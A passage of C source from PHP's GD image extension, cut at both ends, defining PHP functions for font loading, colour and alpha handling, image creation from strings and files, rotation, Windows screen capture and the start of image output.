body_size = font->w * font->h * font->nchars; } if (overflow2(font->nchars, font->h) || overflow2(font->nchars * font->h, font->w )) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Error reading font, invalid font header"); efree(font); php_stream_close(stream); RETURN_FALSE; } if (body_size != body_size_check) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Error reading font"); efree(font); php_stream_close(stream); RETURN_FALSE; } font->data = emalloc(body_size); b = 0; while (b < body_size && (n = php_stream_read(stream, &font->data[b], body_size - b))) { b += n; } if (!n) { efree(font->data); efree(font); if (php_stream_eof(stream)) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "End of file while reading body"); } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Error while reading body"); } php_stream_close(stream); RETURN_FALSE; } php_stream_close(stream); /* Adding 5 to the font index so we will never have font indices * that overlap with the old fonts (with indices 1-5). The first * list index given out is always 1. */ ind = 5 + zend_list_insert(font, le_gd_font TSRMLS_CC); RETURN_LONG(ind); } /* }}} */ /* {{{ proto bool imagesetstyle(resource im, array styles) Set the line drawing styles for use with imageline and IMG_COLOR_STYLED. */ PHP_FUNCTION(imagesetstyle) { zval *IM, *styles; gdImagePtr im; int * stylearr; int index; HashPosition pos; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ra", &IM, &styles) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); /* copy the style values in the stylearr */ stylearr = safe_emalloc(sizeof(int), zend_hash_num_elements(HASH_OF(styles)), 0); zend_hash_internal_pointer_reset_ex(HASH_OF(styles), &pos); for (index = 0;; zend_hash_move_forward_ex(HASH_OF(styles), &pos)) { zval ** item; if (zend_hash_get_current_data_ex(HASH_OF(styles), (void **) &item, &pos) == FAILURE) { break; } if (Z_TYPE_PP(item) != IS_LONG) { zval lval; lval = **item; zval_copy_ctor(&lval); convert_to_long(&lval); stylearr[index++] = Z_LVAL(lval); } else { stylearr[index++] = Z_LVAL_PP(item); } } gdImageSetStyle(im, stylearr, index); efree(stylearr); RETURN_TRUE; } /* }}} */ /* {{{ proto resource imagecreatetruecolor(int x_size, int y_size) Create a new true color image */ PHP_FUNCTION(imagecreatetruecolor) { long x_size, y_size; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ll", &x_size, &y_size) == FAILURE) { return; } if (x_size <= 0 || y_size <= 0 || x_size >= INT_MAX || y_size >= INT_MAX) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid image dimensions"); RETURN_FALSE; } im = gdImageCreateTrueColor(x_size, y_size); if (!im) { RETURN_FALSE; } ZEND_REGISTER_RESOURCE(return_value, im, le_gd); } /* }}} */ /* {{{ proto bool imageistruecolor(resource im) return true if the image uses truecolor */ PHP_FUNCTION(imageistruecolor) { zval *IM; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &IM) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_BOOL(im->trueColor); } /* }}} */ /* {{{ proto void imagetruecolortopalette(resource im, bool ditherFlag, int colorsWanted) Convert a true colour image to a palette based image with a number of colours, optionally using dithering. */ PHP_FUNCTION(imagetruecolortopalette) { zval *IM; zend_bool dither; long ncolors; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rbl", &IM, &dither, &ncolors) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (ncolors <= 0) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Number of colors has to be greater than zero"); RETURN_FALSE; } gdImageTrueColorToPalette(im, dither, ncolors); RETURN_TRUE; } /* }}} */ /* {{{ proto void imagetruecolortopalette(resource im, bool ditherFlag, int colorsWanted) Convert a true colour image to a palette based image with a number of colours, optionally using dithering. */ PHP_FUNCTION(imagepalettetotruecolor) { zval *IM; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &IM) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (gdImagePaletteToTrueColor(im) == 0) { RETURN_FALSE; } RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagecolormatch(resource im1, resource im2) Makes the colors of the palette version of an image more closely match the true color version */ PHP_FUNCTION(imagecolormatch) { zval *IM1, *IM2; gdImagePtr im1, im2; int result; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rr", &IM1, &IM2) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im1, gdImagePtr, &IM1, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(im2, gdImagePtr, &IM2, -1, "Image", le_gd); result = gdImageColorMatch(im1, im2); switch (result) { case -1: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Image1 must be TrueColor" ); RETURN_FALSE; break; case -2: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Image2 must be Palette" ); RETURN_FALSE; break; case -3: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Image1 and Image2 must be the same size" ); RETURN_FALSE; break; case -4: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Image2 must have at least one color" ); RETURN_FALSE; break; } RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagesetthickness(resource im, int thickness) Set line thickness for drawing lines, ellipses, rectangles, polygons etc. */ PHP_FUNCTION(imagesetthickness) { zval *IM; long thick; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rl", &IM, &thick) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageSetThickness(im, thick); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagefilledellipse(resource im, int cx, int cy, int w, int h, int color) Draw an ellipse */ PHP_FUNCTION(imagefilledellipse) { zval *IM; long cx, cy, w, h, color; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllll", &IM, &cx, &cy, &w, &h, &color) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageFilledEllipse(im, cx, cy, w, h, color); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagefilledarc(resource im, int cx, int cy, int w, int h, int s, int e, int col, int style) Draw a filled partial ellipse */ PHP_FUNCTION(imagefilledarc) { zval *IM; long cx, cy, w, h, ST, E, col, style; gdImagePtr im; int e, st; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllllllll", &IM, &cx, &cy, &w, &h, &ST, &E, &col, &style) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); e = E; if (e < 0) { e %= 360; } st = ST; if (st < 0) { st %= 360; } gdImageFilledArc(im, cx, cy, w, h, st, e, col, style); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagealphablending(resource im, bool on) Turn alpha blending mode on or off for the given image */ PHP_FUNCTION(imagealphablending) { zval *IM; zend_bool blend; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rb", &IM, &blend) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageAlphaBlending(im, blend); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagesavealpha(resource im, bool on) Include alpha channel to a saved image */ PHP_FUNCTION(imagesavealpha) { zval *IM; zend_bool save; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rb", &IM, &save) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageSaveAlpha(im, save); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagelayereffect(resource im, int effect) Set the alpha blending flag to use the bundled libgd layering effects */ PHP_FUNCTION(imagelayereffect) { zval *IM; long effect; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rl", &IM, &effect) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageAlphaBlending(im, effect); RETURN_TRUE; } /* }}} */ /* {{{ proto int imagecolorallocatealpha(resource im, int red, int green, int blue, int alpha) Allocate a color with an alpha level. Works for true color and palette based images */ PHP_FUNCTION(imagecolorallocatealpha) { zval *IM; long red, green, blue, alpha; gdImagePtr im; int ct = (-1); if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllll", &IM, &red, &green, &blue, &alpha) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); ct = gdImageColorAllocateAlpha(im, red, green, blue, alpha); if (ct < 0) { RETURN_FALSE; } RETURN_LONG((long)ct); } /* }}} */ /* {{{ proto int imagecolorresolvealpha(resource im, int red, int green, int blue, int alpha) Resolve/Allocate a colour with an alpha level. Works for true colour and palette based images */ PHP_FUNCTION(imagecolorresolvealpha) { zval *IM; long red, green, blue, alpha; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllll", &IM, &red, &green, &blue, &alpha) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorResolveAlpha(im, red, green, blue, alpha)); } /* }}} */ /* {{{ proto int imagecolorclosestalpha(resource im, int red, int green, int blue, int alpha) Find the closest matching colour with alpha transparency */ PHP_FUNCTION(imagecolorclosestalpha) { zval *IM; long red, green, blue, alpha; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllll", &IM, &red, &green, &blue, &alpha) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorClosestAlpha(im, red, green, blue, alpha)); } /* }}} */ /* {{{ proto int imagecolorexactalpha(resource im, int red, int green, int blue, int alpha) Find exact match for colour with transparency */ PHP_FUNCTION(imagecolorexactalpha) { zval *IM; long red, green, blue, alpha; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllll", &IM, &red, &green, &blue, &alpha) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorExactAlpha(im, red, green, blue, alpha)); } /* }}} */ /* {{{ proto bool imagecopyresampled(resource dst_im, resource src_im, int dst_x, int dst_y, int src_x, int src_y, int dst_w, int dst_h, int src_w, int src_h) Copy and resize part of an image using resampling to help ensure clarity */ PHP_FUNCTION(imagecopyresampled) { zval *SIM, *DIM; long SX, SY, SW, SH, DX, DY, DW, DH; gdImagePtr im_dst, im_src; int srcH, srcW, dstH, dstW, srcY, srcX, dstY, dstX; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rrllllllll", &DIM, &SIM, &DX, &DY, &SX, &SY, &DW, &DH, &SW, &SH) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im_dst, gdImagePtr, &DIM, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); srcX = SX; srcY = SY; srcH = SH; srcW = SW; dstX = DX; dstY = DY; dstH = DH; dstW = DW; gdImageCopyResampled(im_dst, im_src, dstX, dstY, srcX, srcY, dstW, dstH, srcW, srcH); RETURN_TRUE; } /* }}} */ #ifdef PHP_WIN32 /* {{{ proto resource imagegrabwindow(int window_handle [, int client_area]) Grab a window or its client area using a windows handle (HWND property in COM instance) */ PHP_FUNCTION(imagegrabwindow) { HWND window; long client_area = 0; RECT rc = {0}; RECT rc_win = {0}; int Width, Height; HDC hdc; HDC memDC; HBITMAP memBM; HBITMAP hOld; HINSTANCE handle; long lwindow_handle; typedef BOOL (WINAPI *tPrintWindow)(HWND, HDC,UINT); tPrintWindow pPrintWindow = 0; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "l|l", &lwindow_handle, &client_area) == FAILURE) { RETURN_FALSE; } window = (HWND) lwindow_handle; if (!IsWindow(window)) { php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Invalid window handle"); RETURN_FALSE; } hdc = GetDC(0); if (client_area) { GetClientRect(window, &rc); Width = rc.right; Height = rc.bottom; } else { GetWindowRect(window, &rc); Width = rc.right - rc.left; Height = rc.bottom - rc.top; } Width = (Width/4)*4; memDC = CreateCompatibleDC(hdc); memBM = CreateCompatibleBitmap(hdc, Width, Height); hOld = (HBITMAP) SelectObject (memDC, memBM); handle = LoadLibrary("User32.dll"); if ( handle == 0 ) { goto clean; } pPrintWindow = (tPrintWindow) GetProcAddress(handle, "PrintWindow"); if ( pPrintWindow ) { pPrintWindow(window, memDC, (UINT) client_area); } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Windows API too old"); goto clean; } FreeLibrary(handle); im = gdImageCreateTrueColor(Width, Height); if (im) { int x,y; for (y=0; y <= Height; y++) { for (x=0; x <= Width; x++) { int c = GetPixel(memDC, x,y); gdImageSetPixel(im, x, y, gdTrueColor(GetRValue(c), GetGValue(c), GetBValue(c))); } } } clean: SelectObject(memDC,hOld); DeleteObject(memBM); DeleteDC(memDC); ReleaseDC( 0, hdc ); if (!im) { RETURN_FALSE; } else { ZEND_REGISTER_RESOURCE(return_value, im, le_gd); } } /* }}} */ /* {{{ proto resource imagegrabscreen() Grab a screenshot */ PHP_FUNCTION(imagegrabscreen) { HWND window = GetDesktopWindow(); RECT rc = {0}; int Width, Height; HDC hdc; HDC memDC; HBITMAP memBM; HBITMAP hOld; typedef BOOL (WINAPI *tPrintWindow)(HWND, HDC,UINT); tPrintWindow pPrintWindow = 0; gdImagePtr im; hdc = GetDC(0); if (zend_parse_parameters_none() == FAILURE) { return; } if (!hdc) { RETURN_FALSE; } GetWindowRect(window, &rc); Width = rc.right - rc.left; Height = rc.bottom - rc.top; Width = (Width/4)*4; memDC = CreateCompatibleDC(hdc); memBM = CreateCompatibleBitmap(hdc, Width, Height); hOld = (HBITMAP) SelectObject (memDC, memBM); BitBlt( memDC, 0, 0, Width, Height , hdc, rc.left, rc.top , SRCCOPY ); im = gdImageCreateTrueColor(Width, Height); if (im) { int x,y; for (y=0; y <= Height; y++) { for (x=0; x <= Width; x++) { int c = GetPixel(memDC, x,y); gdImageSetPixel(im, x, y, gdTrueColor(GetRValue(c), GetGValue(c), GetBValue(c))); } } } SelectObject(memDC,hOld); DeleteObject(memBM); DeleteDC(memDC); ReleaseDC( 0, hdc ); if (!im) { RETURN_FALSE; } else { ZEND_REGISTER_RESOURCE(return_value, im, le_gd); } } /* }}} */ #endif /* PHP_WIN32 */ /* {{{ proto resource imagerotate(resource src_im, float angle, int bgdcolor [, int ignoretransparent]) Rotate an image using a custom angle */ PHP_FUNCTION(imagerotate) { zval *SIM; gdImagePtr im_dst, im_src; double degrees; long color; long ignoretransparent = 0; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rdl|l", &SIM, &degrees, &color, &ignoretransparent) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); im_dst = gdImageRotateInterpolated(im_src, (const float)degrees, color); if (im_dst != NULL) { ZEND_REGISTER_RESOURCE(return_value, im_dst, le_gd); } else { RETURN_FALSE; } } /* }}} */ /* {{{ proto bool imagesettile(resource image, resource tile) Set the tile image to $tile when filling $image with the "IMG_COLOR_TILED" color */ PHP_FUNCTION(imagesettile) { zval *IM, *TILE; gdImagePtr im, tile; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rr", &IM, &TILE) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(tile, gdImagePtr, &TILE, -1, "Image", le_gd); gdImageSetTile(im, tile); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagesetbrush(resource image, resource brush) Set the brush image to $brush when filling $image with the "IMG_COLOR_BRUSHED" color */ PHP_FUNCTION(imagesetbrush) { zval *IM, *TILE; gdImagePtr im, tile; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rr", &IM, &TILE) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(tile, gdImagePtr, &TILE, -1, "Image", le_gd); gdImageSetBrush(im, tile); RETURN_TRUE; } /* }}} */ /* {{{ proto resource imagecreate(int x_size, int y_size) Create a new image */ PHP_FUNCTION(imagecreate) { long x_size, y_size; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ll", &x_size, &y_size) == FAILURE) { return; } if (x_size <= 0 || y_size <= 0 || x_size >= INT_MAX || y_size >= INT_MAX) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid image dimensions"); RETURN_FALSE; } im = gdImageCreate(x_size, y_size); if (!im) { RETURN_FALSE; } ZEND_REGISTER_RESOURCE(return_value, im, le_gd); } /* }}} */ /* {{{ proto int imagetypes(void) Return the types of images supported in a bitfield - 1=GIF, 2=JPEG, 4=PNG, 8=WBMP, 16=XPM */ PHP_FUNCTION(imagetypes) { int ret=0; ret = 1; #ifdef HAVE_GD_JPG ret |= 2; #endif #ifdef HAVE_GD_PNG ret |= 4; #endif ret |= 8; #if defined(HAVE_GD_XPM) ret |= 16; #endif #ifdef HAVE_GD_WEBP ret |= 32; #endif if (zend_parse_parameters_none() == FAILURE) { return; } RETURN_LONG(ret); } /* }}} */ /* {{{ _php_ctx_getmbi */ static int _php_ctx_getmbi(gdIOCtx *ctx) { int i, mbi = 0; do { i = (ctx->getC)(ctx); if (i < 0) { return -1; } mbi = (mbi << 7) | (i & 0x7f); } while (i & 0x80); return mbi; } /* }}} */ /* {{{ _php_image_type */ static const char php_sig_gd2[3] = {'g', 'd', '2'}; static int _php_image_type (char data[8]) { /* Based on ext/standard/image.c */ if (data == NULL) { return -1; } if (!memcmp(data, php_sig_gd2, 3)) { return PHP_GDIMG_TYPE_GD2; } else if (!memcmp(data, php_sig_jpg, 3)) { return PHP_GDIMG_TYPE_JPG; } else if (!memcmp(data, php_sig_png, 3)) { if (!memcmp(data, php_sig_png, 8)) { return PHP_GDIMG_TYPE_PNG; } } else if (!memcmp(data, php_sig_gif, 3)) { return PHP_GDIMG_TYPE_GIF; } else { gdIOCtx *io_ctx; io_ctx = gdNewDynamicCtxEx(8, data, 0); if (io_ctx) { if (_php_ctx_getmbi(io_ctx) == 0 && _php_ctx_getmbi(io_ctx) >= 0) { io_ctx->gd_free(io_ctx); return PHP_GDIMG_TYPE_WBM; } else { io_ctx->gd_free(io_ctx); } } } return -1; } /* }}} */ /* {{{ _php_image_create_from_string */ gdImagePtr _php_image_create_from_string(zval **data, char *tn, gdImagePtr (*ioctx_func_p)() TSRMLS_DC) { gdImagePtr im; gdIOCtx *io_ctx; io_ctx = gdNewDynamicCtxEx(Z_STRLEN_PP(data), Z_STRVAL_PP(data), 0); if (!io_ctx) { return NULL; } im = (*ioctx_func_p)(io_ctx); if (!im) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Passed data is not in '%s' format", tn); io_ctx->gd_free(io_ctx); return NULL; } io_ctx->gd_free(io_ctx); return im; } /* }}} */ /* {{{ proto resource imagecreatefromstring(string image) Create a new image from the image stream in the string */ PHP_FUNCTION(imagecreatefromstring) { zval **data; gdImagePtr im; int imtype; char sig[8]; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "Z", &data) == FAILURE) { return; } convert_to_string_ex(data); if (Z_STRLEN_PP(data) < 8) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Empty string or invalid image"); RETURN_FALSE; } memcpy(sig, Z_STRVAL_PP(data), 8); imtype = _php_image_type(sig); switch (imtype) { case PHP_GDIMG_TYPE_JPG: #ifdef HAVE_GD_JPG im = _php_image_create_from_string(data, "JPEG", gdImageCreateFromJpegCtx TSRMLS_CC); #else php_error_docref(NULL TSRMLS_CC, E_WARNING, "No JPEG support in this PHP build"); RETURN_FALSE; #endif break; case PHP_GDIMG_TYPE_PNG: #ifdef HAVE_GD_PNG im = _php_image_create_from_string(data, "PNG", gdImageCreateFromPngCtx TSRMLS_CC); #else php_error_docref(NULL TSRMLS_CC, E_WARNING, "No PNG support in this PHP build"); RETURN_FALSE; #endif break; case PHP_GDIMG_TYPE_GIF: im = _php_image_create_from_string(data, "GIF", gdImageCreateFromGifCtx TSRMLS_CC); break; case PHP_GDIMG_TYPE_WBM: im = _php_image_create_from_string(data, "WBMP", gdImageCreateFromWBMPCtx TSRMLS_CC); break; case PHP_GDIMG_TYPE_GD2: im = _php_image_create_from_string(data, "GD2", gdImageCreateFromGd2Ctx TSRMLS_CC); break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Data is not in a recognized format"); RETURN_FALSE; } if (!im) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Couldn't create GD Image Stream out of Data"); RETURN_FALSE; } ZEND_REGISTER_RESOURCE(return_value, im, le_gd); } /* }}} */ /* {{{ _php_image_create_from */ static void _php_image_create_from(INTERNAL_FUNCTION_PARAMETERS, int image_type, char *tn, gdImagePtr (*func_p)(), gdImagePtr (*ioctx_func_p)()) { char *file; int file_len; long srcx, srcy, width, height; gdImagePtr im = NULL; php_stream *stream; FILE * fp = NULL; long ignore_warning; if (image_type == PHP_GDIMG_TYPE_GD2PART) { if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "pllll", &file, &file_len, &srcx, &srcy, &width, &height) == FAILURE) { return; } if (width < 1 || height < 1) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Zero width or height not allowed"); RETURN_FALSE; } } else { if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "p", &file, &file_len) == FAILURE) { return; } } stream = php_stream_open_wrapper(file, "rb", REPORT_ERRORS|IGNORE_PATH|IGNORE_URL_WIN, NULL); if (stream == NULL) { RETURN_FALSE; } /* try and avoid allocating a FILE* if the stream is not naturally a FILE* */ if (php_stream_is(stream, PHP_STREAM_IS_STDIO)) { if (FAILURE == php_stream_cast(stream, PHP_STREAM_AS_STDIO, (void**)&fp, REPORT_ERRORS)) { goto out_err; } } else if (ioctx_func_p) { /* we can create an io context */ gdIOCtx* io_ctx; size_t buff_size; char *buff; /* needs to be malloc (persistent) - GD will free() it later */ buff_size = php_stream_copy_to_mem(stream, &buff, PHP_STREAM_COPY_ALL, 1); if (!buff_size) { php_error_docref(NULL TSRMLS_CC, E_WARNING,"Cannot read image data"); goto out_err; } io_ctx = gdNewDynamicCtxEx(buff_size, buff, 0); if (!io_ctx) { pefree(buff, 1); php_error_docref(NULL TSRMLS_CC, E_WARNING,"Cannot allocate GD IO context"); goto out_err; } if (image_type == PHP_GDIMG_TYPE_GD2PART) { im = (*ioctx_func_p)(io_ctx, srcx, srcy, width, height); } else { im = (*ioctx_func_p)(io_ctx); } io_ctx->gd_free(io_ctx); pefree(buff, 1); } else if (php_stream_can_cast(stream, PHP_STREAM_AS_STDIO)) { /* try and force the stream to be FILE* */ if (FAILURE == php_stream_cast(stream, PHP_STREAM_AS_STDIO | PHP_STREAM_CAST_TRY_HARD, (void **) &fp, REPORT_ERRORS)) { goto out_err; } } if (!im && fp) { switch (image_type) { case PHP_GDIMG_TYPE_GD2PART: im = (*func_p)(fp, srcx, srcy, width, height); break; #if defined(HAVE_GD_XPM) case PHP_GDIMG_TYPE_XPM: im = gdImageCreateFromXpm(file); break; #endif #ifdef HAVE_GD_JPG case PHP_GDIMG_TYPE_JPG: ignore_warning = INI_INT("gd.jpeg_ignore_warning"); im = gdImageCreateFromJpegEx(fp, ignore_warning); break; #endif default: im = (*func_p)(fp); break; } fflush(fp); } /* register_im: */ if (im) { ZEND_REGISTER_RESOURCE(return_value, im, le_gd); php_stream_close(stream); return; } php_error_docref(NULL TSRMLS_CC, E_WARNING, "'%s' is not a valid %s file", file, tn); out_err: php_stream_close(stream); RETURN_FALSE; } /* }}} */ /* {{{ proto resource imagecreatefromgif(string filename) Create a new image from GIF file or URL */ PHP_FUNCTION(imagecreatefromgif) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_GIF, "GIF", gdImageCreateFromGif, gdImageCreateFromGifCtx); } /* }}} */ #ifdef HAVE_GD_JPG /* {{{ proto resource imagecreatefromjpeg(string filename) Create a new image from JPEG file or URL */ PHP_FUNCTION(imagecreatefromjpeg) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_JPG, "JPEG", gdImageCreateFromJpeg, gdImageCreateFromJpegCtx); } /* }}} */ #endif /* HAVE_GD_JPG */ #ifdef HAVE_GD_PNG /* {{{ proto resource imagecreatefrompng(string filename) Create a new image from PNG file or URL */ PHP_FUNCTION(imagecreatefrompng) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_PNG, "PNG", gdImageCreateFromPng, gdImageCreateFromPngCtx); } /* }}} */ #endif /* HAVE_GD_PNG */ #ifdef HAVE_GD_WEBP /* {{{ proto resource imagecreatefromwebp(string filename) Create a new image from WEBP file or URL */ PHP_FUNCTION(imagecreatefromwebp) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_WEBP, "WEBP", gdImageCreateFromWebp, gdImageCreateFromWebpCtx); } /* }}} */ #endif /* HAVE_GD_VPX */ /* {{{ proto resource imagecreatefromxbm(string filename) Create a new image from XBM file or URL */ PHP_FUNCTION(imagecreatefromxbm) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_XBM, "XBM", gdImageCreateFromXbm, NULL); } /* }}} */ #if defined(HAVE_GD_XPM) /* {{{ proto resource imagecreatefromxpm(string filename) Create a new image from XPM file or URL */ PHP_FUNCTION(imagecreatefromxpm) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_XPM, "XPM", gdImageCreateFromXpm, NULL); } /* }}} */ #endif /* {{{ proto resource imagecreatefromwbmp(string filename) Create a new image from WBMP file or URL */ PHP_FUNCTION(imagecreatefromwbmp) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_WBM, "WBMP", gdImageCreateFromWBMP, gdImageCreateFromWBMPCtx); } /* }}} */ /* {{{ proto resource imagecreatefromgd(string filename) Create a new image from GD file or URL */ PHP_FUNCTION(imagecreatefromgd) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_GD, "GD", gdImageCreateFromGd, gdImageCreateFromGdCtx); } /* }}} */ /* {{{ proto resource imagecreatefromgd2(string filename) Create a new image from GD2 file or URL */ PHP_FUNCTION(imagecreatefromgd2) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_GD2, "GD2", gdImageCreateFromGd2, gdImageCreateFromGd2Ctx); } /* }}} */ /* {{{ proto resource imagecreatefromgd2part(string filename, int srcX, int srcY, int width, int height) Create a new image from a given part of GD2 file or URL */ PHP_FUNCTION(imagecreatefromgd2part) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_GD2PART, "GD2", gdImageCreateFromGd2Part, gdImageCreateFromGd2PartCtx); } /* }}} */ /* {{{ _php_image_output */ static void _php_image_output(INTERNAL_FUNCTION_PARAMETERS, int image_type, char *tn, void (*func_p)()) { zval *imgind; char *file = NULL; long quality = 0, type = 0; gdImagePtr im; char *fn = NULL; FILE *fp; int file_len = 0, argc = ZEND_NUM_ARGS(); int q = -1, i, t = 1; /* The quality parameter for Wbmp stands for the threshold when called from image2wbmp() */ /* When called from imagewbmp() the quality parameter stands for the foreground color. Default: black. */ /* The quality parameter for gd2 stands for chunk size */ if (zend_parse_parameters(argc TSRMLS_CC, "r|pll", &imgind, &file, &file_len, &quality, &type) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &imgind, -1, "Image", le_gd); if (argc > 1) { fn = file; if (argc == 3) { q = quality; } if (argc == 4) { t = type; } } if (argc >= 2 && file_len) { PHP_GD_CHECK_OPEN_BASEDIR(fn, "Invalid filename"); fp = VCWD_FOPEN(fn, "wb"); if (!fp) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to open '%s' for writing", fn); RETURN_FALSE; } switch (image_type) { case PHP_GDIMG_CONVERT_WBM: if (q == -1) { q = 0; } else if (q < 0 || q > 255) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid threshold value '%d'. It must be between 0 and 255", q); q = 0; } gdImageWBMP(im, q, fp); break; case PHP_GDIMG_TYPE_JPG: (*func_p)(im, fp, q); break; case PHP_GDIMG_TYPE_WBM: for (i = 0; i < gdImageColorsTotal(im); i++) { if (gdImageRed(im, i) == 0) break; } (*func_p)(im, i, fp); break; case PHP_GDIMG_TYPE_GD: if (im->trueColor){ gdImageTrueColorToPalette(im,1,256); } (*func_p)(im, fp); break; case PHP_GDIMG_TYPE_GD2: if (q == -1) { q = 128; } (*func_p)(im, fp, q, t); break; default: if (q == -1) { q = 128; } (*func_p)(im, fp, q, t); break; } fflush(fp); fclose(fp); } else { int b; FILE *tmp; char buf[4096]; char *path; tmp = php_open_temporary_file(NULL, NULL, &path TSRMLS_CC); if (tmp == NULL) { 